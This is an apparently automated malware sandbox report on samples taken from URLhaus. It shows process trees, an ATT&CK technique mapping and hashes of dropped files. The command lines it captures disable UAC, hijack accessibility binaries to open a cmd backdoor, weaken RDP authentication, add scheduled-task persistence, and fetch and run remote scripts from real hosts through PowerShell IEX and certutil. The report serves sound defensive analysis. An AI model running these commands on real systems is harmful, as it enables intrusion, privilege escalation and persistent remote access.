        mshta vbscript:createobject("shell.application").shellexecute("C:\Users\Admin\DOWNLO~1\URLHAU~1\PORNHU~1.EXE","goto :target","","runas",1)(window.close)
        5⤵
        Access Token Manipulation: Create Process with Token
        
        PID:4720
      - C:\Users\Admin\DOWNLO~1\URLHAU~1\PORNHU~1.EXE
        
        "C:\Users\Admin\DOWNLO~1\URLHAU~1\PORNHU~1.EXE" goto :target
        6⤵
        
        PID:2692
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\B8C1.tmp\B8C2.tmp\B8C3.bat C:\Users\Admin\DOWNLO~1\URLHAU~1\PORNHU~1.EXE goto :target"
        7⤵
        
        PID:4828
        
        C:\Windows\system32\reg.exe
        
        reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t reg_dword /d 0 /F
        8⤵
        
        PID:5728
        
        C:\Windows\system32\reg.exe
        
        reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t reg_dword /d 0 /F
        8⤵
        
        PID:916
        
        C:\Windows\system32\reg.exe
        
        reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "PromptOnSecureDesktop" /t reg_dword /d 0 /F
        8⤵
        
        PID:5488
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg query HKEY_CLASSES_ROOT\http\shell\open\command"
        8⤵
        
        PID:1332
        
        C:\Windows\system32\reg.exe
        
        reg query HKEY_CLASSES_ROOT\http\shell\open\command
        9⤵
        
        PID:5724
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.pornhub.com/
        8⤵
        
        PID:5384
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7fff81223cb8,0x7fff81223cc8,0x7fff81223cd8
        9⤵
        
        PID:5584
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2208,7003340511369147430,16570635516799937,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=2220 /prefetch:2
        9⤵
        
        PID:5636
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2208,7003340511369147430,16570635516799937,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2268 /prefetch:3
        9⤵
        
        PID:5236
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2208,7003340511369147430,16570635516799937,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2684 /prefetch:8
        9⤵
        
        PID:2044
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2208,7003340511369147430,16570635516799937,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3180 /prefetch:1
        9⤵
        
        PID:5716
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2208,7003340511369147430,16570635516799937,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3192 /prefetch:1
        9⤵
        
        PID:5436
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2208,7003340511369147430,16570635516799937,131072 --lang=en-US --extension-process --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3944 /prefetch:1
        9⤵
        
        PID:5772
        
        C:\Windows\system32\attrib.exe
        
        attrib +s +h d:\net
        8⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:5560
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -c "invoke-webrequest -uri http://206.217.142.166:1234/windows/v2/dr.bat -outfile d:\net\dr\dr.bat"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1288
- - C:\Users\Admin\Downloads\UrlHausFiles\ammyadmin.exe
    "C:\Users\Admin\Downloads\UrlHausFiles\ammyadmin.exe"
    3⤵
    PID:4844
- - C:\Users\Admin\Downloads\UrlHausFiles\SGVP%20Client%20Users.exe
    "C:\Users\Admin\Downloads\UrlHausFiles\SGVP%20Client%20Users.exe"
    3⤵
    PID:428
- - C:\Users\Admin\Downloads\UrlHausFiles\key.exe
    "C:\Users\Admin\Downloads\UrlHausFiles\key.exe"
    3⤵
    PID:2080
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2080 -s 396
      4⤵
      Program crash
      PID:3540
- - C:\Users\Admin\Downloads\UrlHausFiles\av_downloader.exe
    "C:\Users\Admin\Downloads\UrlHausFiles\av_downloader.exe"
    3⤵
    PID:4564
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\BB70.tmp\BB71.tmp\BB72.bat C:\Users\Admin\Downloads\UrlHausFiles\av_downloader.exe"
      4⤵
      PID:4168
    - - C:\Windows\system32\mshta.exe
        
        mshta vbscript:createobject("shell.application").shellexecute("C:\Users\Admin\DOWNLO~1\URLHAU~1\AV_DOW~1.EXE","goto :target","","runas",1)(window.close)
        5⤵
        Access Token Manipulation: Create Process with Token
        
        PID:4844
      - C:\Users\Admin\DOWNLO~1\URLHAU~1\AV_DOW~1.EXE
        
        "C:\Users\Admin\DOWNLO~1\URLHAU~1\AV_DOW~1.EXE" goto :target
        6⤵
        
        PID:5004
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\C4A8.tmp\C4A9.tmp\C4AA.bat C:\Users\Admin\DOWNLO~1\URLHAU~1\AV_DOW~1.EXE goto :target"
        7⤵
        
        PID:2164
        
        C:\Windows\system32\reg.exe
        
        reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t reg_dword /d 0 /F
        8⤵
        
        PID:5108
        
        C:\Windows\system32\reg.exe
        
        reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t reg_dword /d 0 /F
        8⤵
        
        PID:3448
        
        C:\Windows\system32\reg.exe
        
        reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "PromptOnSecureDesktop" /t reg_dword /d 0 /F
        8⤵
        
        PID:2356
        
        C:\Windows\system32\attrib.exe
        
        attrib +s +h e:\net
        8⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:5784
        
        C:\Windows\system32\certutil.exe
        
        certutil -urlcache -split -f http://206.217.142.166:1234/windows/dr/dr.bat e:\net\dr\dr.bat
        8⤵
        
        PID:5320
- - C:\Users\Admin\Downloads\UrlHausFiles\file.exe
    "C:\Users\Admin\Downloads\UrlHausFiles\file.exe"
    3⤵
    PID:1860
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd.exe" /c "powershell -command IEX(New-Object Net.Webclient).DownloadString('https://osecweb.ir/js/config_20.ps1')"
      4⤵
      PID:3528
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command IEX(New-Object Net.Webclient).DownloadString('https://osecweb.ir/js/config_20.ps1')
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5040
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\Downloads\UrlHausFiles\file.exe" >> NUL
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      PID:5372
    - - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5644
- - C:\Users\Admin\Downloads\UrlHausFiles\ipscan221.exe
    "C:\Users\Admin\Downloads\UrlHausFiles\ipscan221.exe"
    3⤵
    PID:3076
- - C:\Users\Admin\Downloads\UrlHausFiles\Registry.exe
    "C:\Users\Admin\Downloads\UrlHausFiles\Registry.exe"
    3⤵
    PID:3008
  - - C:\Windows\SYSTEM32\schtasks.exe
      "schtasks" /create /tn "Runtime Broker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Runtime Broker.exe" /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5396
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\UrlHausFiles\cmd.cmd" "
    3⤵
    PID:5764
  - - C:\Windows\system32\reg.exe
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
      4⤵
      PID:5176
  - - C:\Windows\system32\reg.exe
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f /v Debugger /t REG_SZ /d "C:\Windows\system32\cmd.exe"
      4⤵
      PID:5512
  - - C:\Windows\system32\reg.exe
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Magnify.exe" /f /v Debugger /t REG_SZ /d "C:\Windows\system32\cmd.exe"
      4⤵
      PID:5576
  - - C:\Windows\system32\reg.exe
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HelpPane.exe" /f /v Debugger /t REG_SZ /d "C:\Windows\system32\cmd.exe"
      4⤵
      PID:5760
  - - C:\Windows\system32\reg.exe
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /f /v Debugger /t REG_SZ /d "C:\Windows\system32\cmd.exe"
      4⤵
      PID:5436
  - - C:\Windows\system32\reg.exe
      REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /f /v fDenyTSConnections /t REG_DWORD /d "00000000"
      4⤵
      PID:5148
  - - C:\Windows\system32\reg.exe
      REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /f /v fAllowUnsolicited /t REG_DWORD /d "00000001"
      4⤵
      PID:5232
  - - C:\Windows\system32\reg.exe
      REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /f /v UserAuthentication /t REG_DWORD /d "00000000"
      4⤵
      PID:5252
  - - C:\Windows\system32\reg.exe
      REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /f /v SecurityLayer /t REG_DWORD /d "00000001"
      4⤵
      PID:5836
- - C:\Users\Admin\Downloads\UrlHausFiles\svchost.exe
    "C:\Users\Admin\Downloads\UrlHausFiles\svchost.exe"
    3⤵
    PID:5940
- - C:\Users\Admin\Downloads\UrlHausFiles\test.exe
    "C:\Users\Admin\Downloads\UrlHausFiles\test.exe"
    3⤵
    PID:1992
- - C:\Users\Admin\Downloads\UrlHausFiles\V1.1.exe
    "C:\Users\Admin\Downloads\UrlHausFiles\V1.1.exe"
    3⤵
    PID:2392
  - - C:\Windows\AppCompat\Programs\360.exe
      C:\Windows\AppCompat\Programs\360.exe
      4⤵
      PID:2984
    - - C:\Windows\AppCompat\Programs\360Srv.exe
        
        C:\Windows\AppCompat\Programs\360Srv.exe
        5⤵
        
        PID:5948
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5948 -s 316
        6⤵
        Program crash
        
        PID:4984
- - C:\Users\Admin\Downloads\UrlHausFiles\ew.exe
    "C:\Users\Admin\Downloads\UrlHausFiles\ew.exe"
    3⤵
    PID:4296
- - C:\Users\Admin\Downloads\UrlHausFiles\xxx.exe
    "C:\Users\Admin\Downloads\UrlHausFiles\xxx.exe"
    3⤵
    PID:5556
- - C:\Users\Admin\Downloads\UrlHausFiles\InstallSetup.exe
    "C:\Users\Admin\Downloads\UrlHausFiles\InstallSetup.exe"
    3⤵
    PID:3876
- - C:\Users\Admin\Downloads\UrlHausFiles\file.exe
    "C:\Users\Admin\Downloads\UrlHausFiles\file.exe"
    3⤵
    PID:2480
  - - C:\Windows\SYSTEM32\wscript.exe
      "wscript" C:\Users\Admin\AppData\Local\Temp\tempScript.js
      4⤵
      PID:6000

C:\Users\Admin\Downloads\UrlHausFiles\Aa_v3.exe
"C:\Users\Admin\Downloads\UrlHausFiles\Aa_v3.exe" -service -lunch
1⤵
PID:4044
- C:\Users\Admin\Downloads\UrlHausFiles\Aa_v3.exe
  "C:\Users\Admin\Downloads\UrlHausFiles\Aa_v3.exe"
  2⤵
  PID:1884

C:\Users\Admin\Downloads\UrlHausFiles\ammyadmin.exe
"C:\Users\Admin\Downloads\UrlHausFiles\ammyadmin.exe" -service -lunch
1⤵
PID:2092
- C:\Users\Admin\Downloads\UrlHausFiles\ammyadmin.exe
  "C:\Users\Admin\Downloads\UrlHausFiles\ammyadmin.exe"
  2⤵
  PID:5100
- - C:\Windows\SYSTEM32\rundll32.exe
    rundll32.exe "C:\ProgramData\AMMYY\aa_nts.dll",run
    3⤵
    PID:5928

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 2080 -ip 2080
1⤵
PID:2776

C:\Users\Admin\AppData\Local\Temp\C18B.tmp.x.exe
"C:\Users\Admin\AppData\Local\Temp\C18B.tmp.x.exe"
1⤵
PID:4088

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:5280

C:\Users\Admin\AppData\Local\Temp\D92B.tmp.zx.exe
"C:\Users\Admin\AppData\Local\Temp\D92B.tmp.zx.exe"
1⤵
PID:5388
- C:\Users\Admin\AppData\Local\Temp\D92B.tmp.zx.exe
  "C:\Users\Admin\AppData\Local\Temp\D92B.tmp.zx.exe"
  2⤵
  PID:5676

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 5948 -ip 5948
1⤵
PID:5208

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:5872

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:6100

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Accessibility Features

T1546.008

Modify Authentication Process

T1556

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Access Token Manipulation

T1134

Create Process with Token

T1134.002

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Accessibility Features

T1546.008

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Access Token Manipulation

T1134

Create Process with Token

T1134.002

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Authentication Process

T1556

Credential Access

Modify Authentication Process

T1556

Steal Web Session Cookie

T1539

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

pp76b9S33A.zip

Path C:\ProgramData\WebView2CacheTmp\pp76b9S33A.zip
Size 378KB
SHA256 33ceff82570527b0cbb21111e489ab8de64884d2df700f9b2b9b09610b66bb96
MD5 7e9cbf2d3ac4c2e60e1235adc44b1917
SHA1 d38a061d7eb74f23defa57ee98d577619e123dfa
SHA512 58c72b6a025d87defdb8deea4855d73486a9a1921f8f9cf53d25c0eda310cf1d4b86a41d45f3eca11200091de94a35ef3e31662453371e84c9c2778174517043
SSDEEP 6144:8Mf+6PNixqsIFi2kP9mmw10L9TszT1imWn0OYDH+6rhdn+EuMDEZbsvpJmhuo5r6:BLPNixqE14mIETkTzvXDT+EuMgZbsBJf
MD5 SHA1 SHA512 SSDEEP

Submit Download

06D4148FB55A65DDC0B3617260FF0892

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\06D4148FB55A65DDC0B3617260FF0892
Size 5B
SHA256 bebe2853a3485d1c2e5c5be4249183e0ddaff9f87de71652371700a89d937128
MD5 5bfa51f3a417b98e7443eca90fc94703
SHA1 8c015d80b8a23f780bdd215dc842b0f5551f63bd
SHA512 4cd03686254bb28754cbaa635ae1264723e2be80ce1dd0f78d1ab7aee72232f5b285f79e488e9c5c49ff343015bd07bb8433d6cee08ae3cea8c317303e3ac399
MD5 SHA1 SHA512

Submit Download

06D4148FB55A65DDC0B3617260FF0892

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\06D4148FB55A65DDC0B3617260FF0892
Size 414B
SHA256 e01c8cc012ad92455b81e79785c7114bb7c8a80ff6e1feeb74f0ba796752da8a
MD5 11787b39f38dcae84937905dd1c389a5
SHA1 695631fe1fd02c7de5db29e8ac4e7267e34ebfb0
SHA512 171e702d4a88f2c5bc1079fee78f60085708d17ae257d02807fdd33f9e559ea6340ffd9f33953fc0262554428c05ccc87b4413fa633fa784ea1a77e80a34693b
MD5 SHA1 SHA512

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 152B
SHA256 6f5f7996d9b0e131dc2fec84859b7a8597c11a67dd41bdb5a5ef21a46e1ae0ca
MD5 c03d23a8155753f5a936bd7195e475bc
SHA1 cdf47f410a3ec000e84be83a3216b54331679d63
SHA512 6ea9a631b454d7e795ec6161e08dbe388699012dbbc9c8cfdf73175a0ecd51204d45cf28a6f1706c8d5f1780666d95e46e4bc27752da9a9d289304f1d97c2f41
MD5 SHA1 SHA512

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 152B
SHA256 dfd733ed3cf4fb59f2041f82fdf676973783ffa75b9acca095609c7d4f73587b
MD5 3d68c7edc2a288ee58e6629398bb9f7c
SHA1 6c1909dea9321c55cae38b8f16bd9d67822e2e51
SHA512 0eda66a07ec4cdb46b0f27d6c8cc157415d803af610b7430adac19547e121f380b9c6a2840f90fe49eaea9b48fa16079d93833c2bcf4b85e3c401d90d464ad2f
MD5 SHA1 SHA512

Submit Download

66ac0ad8-1b06-486e-b437-3e5497b88f58.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\66ac0ad8-1b06-486e-b437-3e5497b88f58.tmp
Size 1B
SHA256 cdb4ee2aea69cc6a83331bbe96dc2caa9a299d21329efb0336fc02a82e1839a8
MD5 5058f1af8388633f609cadb75a75dc9d
SHA1 3a52ce780950d4d969792a2559cd519d7ee8c727
SHA512 0b61241d7c17bcbb1baee7094d14b7c451efecc7ffcbd92598a0f13d313cc9ebc2a07e61f007baf58fbf94ff9a8695bdd5cae7ce03bbf1e94e93613a00f25f21
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 5KB
SHA256 edc5d983fe5d20d1d2fd0823bfa0f325824fa44cd2e73b032965b7300823e61e
MD5 1b269c9e02110f42d50e20ca269af800
SHA1 0389a428b0328e4ec57c4a2777743459d7410504
SHA512 3144a7057a5d5a75db29b8c50d098b394a1ceb372d7e97a0a950a608a5f1f3eb858cbe01c79e4a0b8a247ebf4a2f0c2a369a7a38b711ac65f0c6cf885396ec0f
SSDEEP 96:nCwk3ASPtdkE3yXwSv0MoiVmdHIvJouOE0WQyV+VpziX3wI3:nPk3xtdklXv0MAIh1Lx93
MD5 SHA1 SHA512 SSDEEP

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 5KB
SHA256 e9c96504f928293c9ce6b99de2f9eb53d431d1bbd366adb7871cb8a6025de213
MD5 77dd45c22541443ae7d4a340ae40ad05
SHA1 6df1c240270c2efad5cecf15a19224527307464d
SHA512 3b2d0e65ea5ab2bde7ef5b9a74bcad6f7de5493a807f85c4a321ee3f00c89b626b3d5312cf957942e494cfa4d53d34b8a4cc31350410e4c7019172ade104424f
SSDEEP 96:nCwk30SPtWkE3yXwSv0MoiVmdHIvJouOhr0WQyV+VpiiX3wI3:nPk3dtWklXv0MAIheLA93
MD5 SHA1 SHA512 SSDEEP

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 27KB
SHA256 c00344a16e9aa0d0f53e2338437536929648025b7f4463c9423690e1474a50e5
MD5 03766e07405a29d6cd6d67fce20afeec
SHA1 5ec22c8c3f915187b33cf42ecabb216196470970
SHA512 7cf58c7f54e60b952ff1ac4ea6bc9d4f0f8bdabfd91ed00caedc6520aa21b58248cb94f9f220da3297958a1db81b59ead32875f476b29f70a12067e8825e3804
SSDEEP 768:nt08m2cWROQD8F1+UoAYDCx9Tuqh0VfUC9xbog/OV3SLl/v01KrUpmRnlyL:nt08m2cWROQDu1jaKSLpM15p6nlu
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache\data_1
Size 264KB
SHA256 b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec
MD5 f50f89a0a91564d0b8a211f8921aa7de
SHA1 112403a17dd69d5b9018b8cede023cb3b54eab7d
SHA512 bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58
SSDEEP 3:MsEllllkEthXllkl2zE:/M/xT02z
MD5 SHA1 SHA512 SSDEEP

Submit Download

C18B.tmp.x.exe

Path C:\Users\Admin\AppData\Local\Temp\C18B.tmp.x.exe
Size 300KB
SHA256 9053b6bbaf941a840a7af09753889873e51f9b15507990979537b6c982d618cb
MD5 97eb7baa28471ec31e5373fcd7b8c880
SHA1 397efcd2fae0589e9e29fc2153ffb18a86a9b709
SHA512 323389357a9ffc5e96f5d6ef78ceb2ec5c62e4dcc1e868524b4188aff2497810ad16de84e498a3e49640ad0d58eadf2ba9c6ec24e512aa64d319331f003d7ced
SSDEEP 3072:KcZqf7D34xp/0+mAOkyovcQQgIAB1fA0PuTVAtkxz53RceqiOL2bBOA:KcZqf7DIjnjXxB1fA0GTV8knkL
MD5 SHA1 SHA512 SSDEEP

Submit Download

D92B.tmp.zx.exe

Path C:\Users\Admin\AppData\Local\Temp\D92B.tmp.zx.exe
Size 5.6MB
SHA256 f3e87137e58e1f3878ed311b719fe1e4d539a91327a800baf9640543e13a8425
MD5 4edcaedbf0e3ea4480e56d161f595e8c
SHA1 e46818f6e463d5c7d05e900470d4565c482ca8e2
SHA512 3ab0c1d41a24cd7be17623acbdae3dd2f0d0fd7838e6cb41fe7427bca6a508157e783b3d8c9717faa18f6341431226719ee90fa5778626ce006f48871b565227
SSDEEP 98304:ghCq2B/JWHioVQWJuhswoYv5eO0zo0Ahd6y0Naxxv8fqDDAx06btVUJFaeW8+qii:g20HiouWJysVYvsOaoyMxxvjDDAx0a2j
MD5 SHA1 SHA512 SSDEEP

Submit Download

VCRUNTIME140.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI22802\VCRUNTIME140.dll
Size 96KB
SHA256 d66c3b47091ceb3f8d3cc165a43d285ae919211a0c0fcb74491ee574d8d464f8
MD5 f12681a472b9dd04a812e16096514974
SHA1 6fd102eb3e0b0e6eef08118d71f28702d1a9067c
SHA512 7d3accbf84de73fb0c5c0de812a9ed600d39cd7ed0f99527ca86a57ce63f48765a370e913e3a46ffc2ccd48ee07d823dafdd157710eef9e7cc1eb7505dc323a2
SSDEEP 1536:BxhUQePlHhR46rXHHGI+mAAD4AeDuXMycecb8i10DWZz:Bvk4wHH+mZD4ADAecb8G1
MD5 SHA1 SHA512 SSDEEP

Submit Download

_asyncio.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI22802\_asyncio.pyd
Size 62KB
SHA256 aebc378db08617ea81a0a3a3bc044bcc7e6303e314630392dd51bab12f879bd9
MD5 2859c39887921dad2ff41feda44fe174
SHA1 fae62faf96223ce7a3e6f7389a9b14b890c24789
SHA512 790be0c95c81eb6d410e53fe8018e2ca5efd1838dc60539ebb011911c36c8478333ee95989cfd1ddaf4f892b537ae8305eb4cd893906930deae59c8965cf2fbb
SSDEEP 1536:PQ/9uukni8rAr1QxZIbmQhID5ntG7SytPxE:IVuHe5QxZIbmQhID5nYHxE
MD5 SHA1 SHA512 SSDEEP

Submit Download

_brotli.cp311-win_amd64.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI22802\_brotli.cp311-win_amd64.pyd
Size 801KB
SHA256 1fcd75b03673904d9471ec03c0ef26978d25135a2026020e679174bdef976dcf
MD5 d9fc15caf72e5d7f9a09b675e309f71d
SHA1 cd2b2465c04c713bc58d1c5de5f8a2e13f900234
SHA512 84f705d52bd3e50ac412c8de4086c18100eac33e716954fbcb3519f4225be1f4e1c3643d5a777c76f7112fae30ce428e0ce4c05180a52842dacb1f5514460006
SSDEEP 12288:cY0Uu7wLsglBv4i5DGAqXMAHhlyL82XTw05nmZfR7o:cp0NA1tAmZfR
MD5 SHA1 SHA512 SSDEEP

Submit Download

_bz2.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI22802\_bz2.pyd
Size 81KB
SHA256 5843872d5e2b08f138a71fe9ba94813afee59c8b48166d4a8eb0f606107a7e80
MD5 4101128e19134a4733028cfaafc2f3bb
SHA1 66c18b0406201c3cfbba6e239ab9ee3dbb3be07d
SHA512 4f2fc415026d7fd71c5018bc2ffdf37a5b835a417b9e5017261849e36d65375715bae148ce8f9649f9d807a63ac09d0fb270e4abae83dfa371d129953a5422ca
SSDEEP 1536:douLz7p5Tcayt0KpkKWVa5cNRT8+smUxJIDtVH7SyD8Px:2uLz9meVamQ+sLxJIDtVHVsx
MD5 SHA1 SHA512 SSDEEP

Submit Download

_cffi_backend.cp311-win_amd64.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI22802\_cffi_backend.cp311-win_amd64.pyd
Size 174KB
SHA256 9aee90cf7980c8ff694bb3ffe06c71f87eb6a613033f73e3174a732648d39980
MD5 739d352bd982ed3957d376a9237c9248
SHA1 961cf42f0c1bb9d29d2f1985f68250de9d83894d
